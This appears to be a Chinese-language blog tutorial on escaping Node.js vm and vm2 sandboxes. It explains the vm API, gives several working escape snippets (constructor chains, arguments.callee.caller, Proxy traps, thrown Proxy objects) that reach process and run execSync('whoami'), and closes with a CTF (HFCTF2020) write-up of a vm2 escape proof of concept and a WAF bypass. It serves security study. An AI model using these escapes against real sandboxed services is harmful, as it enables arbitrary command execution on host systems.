初探VM/VM2沙箱逃逸

文章发布时间:

最后更新时间:

文章总字数:
2.8k

预计阅读时间:
10 分钟

初探VM和VM2沙箱逃逸

前情提要:JavaScript和nodejs到底有什么区别:JavaScript运行在浏览器的前端,而后面使用v8引擎为JavaScript单独开发了一个运行环境,使其可以作为一种后端语言运行在服务端,写在后端的JavaScript就叫nodejs。也就是说一个前端一个后端。

VM沙箱基本概念和使用

什么是沙箱

沙箱就是我们开辟出的单独运行代码的环境,与主机相互隔离,从而使得代码并不会影响主机上的功能。

沙箱的使用

在nodejs中,我们可以通过引入vm和vm2模块来创建沙箱,由于vm太容易逃逸,安全性不高,所以后面发展出了vm2。

上下文对象:一个普通的js对象,里面有值有方法,将其传入沙箱就变成了上下文对象,里面的值和方法只对沙箱内生效。

vm模块常用的方法:

  • vm.runinThisContext(code):在当前global下创建一个作用域(sandbox),并将接收到的参数当作代码运行。sandbox中可以访问到global中的属性,但无法访问其他包中的属性。

  • vm.createContext([sandbox]): 在使用前需要先创建一个上下文对象,再将上下文对象传给该方法(如果没有则会生成一个空的上下文对象),v8为这个上下文对象在当前global外再创建一个作用域,此时这个上下文对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。

  • vm.runInContext(code, contextifiedSandbox[, options]):参数为要执行的代码和创建完作用域的上下文对象,代码会在传入的上下文对象中执行,并且参数的值与上下文内的参数值相同。

  • vm.runInNewContext(code[, sandbox][, options]): creatContext和runInContext的结合版,传入要执行的代码和上下文对象。

  • vm.Script类 vm.Script类型的实例包含若干预编译的脚本,这些脚本能够在特定的沙箱(或者上下文)中被运行。

  • new vm.Script(code, options):创建一个新的vm.Script对象只编译代码但不会执行它。编译过的vm.Script此后可以被多次执行,也就是写成了一个脚本。

简单来说,除了runinThisContext,其他沙箱内都无法访问到global属性。

1
2
3
4
5
6
7
8
9
10
11
12
const util = require('util');  // 引入 Node.js 内置模块 util
const vm = require('vm'); // 引入 Node.js 内置模块 vm

global.age = 3; // 将全局变量 age 赋值为 3

const sandbox = { age: 1 }; // 创建一个上下文对象 sandbox 并将其 age 属性赋值为 1
vm.createContext(sandbox); // 创建一个沙盒运行环境,将上下文对象作为其参数传入

vm.runInContext('age *= 2;', sandbox); // 在指定的上下文中运行字符串代码,将 sandbox 中的 age 属性乘以 2

console.log(util.inspect(sandbox)); // 输出 sandbox 对象的内容,结果为 { age: 2 }
console.log(util.inspect(age)); // 输出全局变量 age 的值,结果为 3

插播一下util模块的作用:Node.js 内置模块 util 提供了一些实用的函数,可以用于简化 JavaScript 编程中的一些常见任务。这些函数包括:

  • util.format():类似于 console.log(),用于格式化输出字符串。
  • util.inspect():用于将 JavaScript 对象转换为字符串形式,便于调试和输出。
  • util.promisify():将基于回调的异步函数(例如 Node.js 中的许多 API)转换为返回 Promise 的函数,便于使用 async/await
  • util.inherits():用于实现对象之间继承关系的函数。
  • util.types:提供了一些常见 JavaScript 数据类型的判断函数,例如 util.types.isDate()util.types.isArray()

VM沙箱逃逸

沙箱逃逸的原理与目标

逃逸的意思就是从沙箱这个封闭的环境中逃出来,终极目标是获取全局对象global的全局变量process,因为有了process我们就可以在nodejs中进行命令执行,具体语句如下:

process.mainModule.require('child_process').execSync('whoami').toString()

获取process的常见方法

这些方法使用于vm沙箱逃逸,同时奠定了vm2的沙箱逃逸基本思想。

  • 通过this对象进行获取

    1
    2
    3
    const vm = require("vm");
    const y1 = vm.runInNewContext(`this.constructor.constructor('return process')()`);// 使用反引号包裹代码串可以更好执行
    console.log(y1);

    this对象指的是传进来的上下文对象本身,事实上这个对象并不属于沙箱环境(因为它是在外面创建的)

    通过访问他的构造方法的构造器,我们得到了一个构造方法的构造器,并构造一个方法体是return process的方法,并加上括号执行,我们就获得了process

    将第一个constructor替换成toString也是一样的,获得到沙箱外方法的构造器即可。

  • this为null,通过函数内置对象属性arguments.callee.caller配合函数自动调用获取。

    很多时候传入的上下文对象是空的,开发者直接在沙箱里再创建对象。this为null,并且也没有其他可以引用的对象,这时候想要逃逸我们要用到一个函数中的内置对象的属性arguments.callee.caller,它可以返回函数的调用者。刚刚的逃逸是直接找到了一个可引用的外部对象,而现在的逃逸变成在沙箱内定义一个函数,然后在沙箱外调用,arguments.callee.caller就会返回沙箱外的一个对象。

    最好用的就是toString,只要外面有字符串拼接就会自动调用,或者也可以看题目在外部调用的方法而来定义方法。

    具体操作如下:

    image-20230804202452477

  • this为null,函数也不能自动调用,通过proxy代理对象配合属性访问获取

    这次定义的是proxy代理对象而非普通的空对象,只要访问了代理对象的属性,不管该属性是否存在,get方法都会自动触发,从而顺利逃逸(突然感觉在很多漏洞里面,自动调用都是一个很关键的点)

    具体操作:

    image-20230804203014066

  • this为null,函数不自动调用,属性也不访问,通过抛出异常并捕获来获取(思想很重要)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    const vm = require("vm");

    const script =
    `
    throw new Proxy({}, {
    get: function(){
    const cc = arguments.callee.caller;
    const p = (cc.constructor.constructor('return process'))();
    return p.mainModule.require('child_process').execSync('whoami').toString();
    }
    })
    `;
    try {
    vm.runInContext(script, vm.createContext(Object.create(null)));
    }catch(e) {
    console.log("error:" + e)
    }

    这里我们用catch捕获到了throw出的proxy对象,在console.log时由于将字符串与对象拼接,将报错信息和rce的回显一起带了出来。

VM2沙箱逃逸

vm沙箱随便逃逸,所以现在开发基本都是用vm2,关于vm2的沙箱逃逸新方法近年来也是层出不穷,每出一个就是高危cve

vm2相比vm做了很大的改进,其中之一就是利用了es6新增的 proxy 特性,从而拦截对诸如 constructor__proto__ 这些属性的访问

至于vm2具体实现的原理,并不是本文讨论的重点,贴上学习链接:

vm2实现原理分析-安全客 - 安全资讯平台 (anquanke.com)

而vm2沙箱逃逸的学习主要就是复现和理解这些cve的poc。

下面这道例题,浅浅分析一个poc,看看究竟是怎么逃逸的,实际上也是使用了抛出错误捕获的思想搭配上原型链污染。

HFCTF2020 JustEscape

看返回nodefined就知道这不是php,这是个js,输入Errot().stack可以看到页面回显的错误信息,根据错误信息可以判断这里使用了vm2沙箱,进而确定需要进行vm2沙箱逃逸。

image-20230804230035957

vm2沙箱逃逸的poc和cve近年来非常多,这里就简单分析一下大家都用来打通了这题的poc,看看究竟是怎么逃逸的。

另外提一句,这题不是直接把poc的untrusted当code传进去就行,还需要简单绕过waf,waf绕过方式感觉和ssti有点像,通过将所有的特殊字符串使用反引号拆分可以绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// 使用严格模式
"use strict";
// 引入 vm2 模块中的 VM 类
const {VM} = require('vm2');

// 定义一个不可信的 JavaScript 脚本,该脚本会尝试访问 process 对象并执行 whoami 命令
const untrusted = '(' + function(){
// 在 TypeError 的原型上定义一个 get_process 方法,用于获取 process 对象
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
// 尝试在空的 Buffer 对象上定义一个不存在的属性 a
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
// 如果上述代码抛出异常,则说明无法在 Buffer 对象上定义新属性,此时尝试获取 process 对象并执行 whoami 命令并返回执行结果
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';

try{
// 在 vm2 中创建一个沙盒环境,并运行不可信的 JavaScript 脚本
console.log(new VM().run(untrusted));
}catch(x){
// 如果运行出错,则输出错误信息到控制台
console.log(x);
}

在该脚本中,尝试访问 process 对象并执行 whoami 命令的过程使用了 get_process 方法和 mainModule.require("child_process").execSync("whoami") 方法,这些都是通过原型链继承和闭包等技术来实现的。由于 vm2 模块中的 VM 类不允许访问 Node.js 的全局对象,因此这些方法无法直接访问 process 对象和执行 whoami 命令,但由于 JavaScript 中的原型链和闭包等特性,可以通过 TypeError.prototype异常捕获等方式来访问到外部环境的对象和方法,从而实现逃逸。

流程:

首先TypeError.prototype.get_process = f=>f.constructor("return process")();

通过原型链污染来把所有TypeError对象的get_process污染成获取process对象的方法,f=>f.constructor("return process")() 表示一个箭头函数,该函数接受一个参数 f,并返回 f.constructor("return process")() 的结果。

然后Object.preventExtensions(Buffer.from("")).a = 1;

  1. Buffer.from("") 是一个创建空的 Buffer 对象的方法。空的 Buffer 对象不包含任何字节,因此在访问该对象的任何属性时都会返回 undefined
  2. Object.preventExtensions() 是一个 JavaScript 内置方法,用于禁止对象添加新的属性或方法。
  3. Object.preventExtensions(Buffer.from("")) 表示禁止在空的 Buffer 对象上添加新的属性或方法。
  4. a = 1 是一个赋值语句,用于将数字 1 赋值给属性名为 a 的属性。由于该对象已经被禁止添加新的属性或方法,因此无法成功添加该属性。

也就是说这个一定会抛出异常,然后成功被catch捕获为e(TypeError类型)。

最后return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();

成功通过异常捕获和get_process方法获得process,从而达成任意命令执行。

参考链接

NodeJS VM和VM2沙箱逃逸 - 先知社区 (aliyun.com)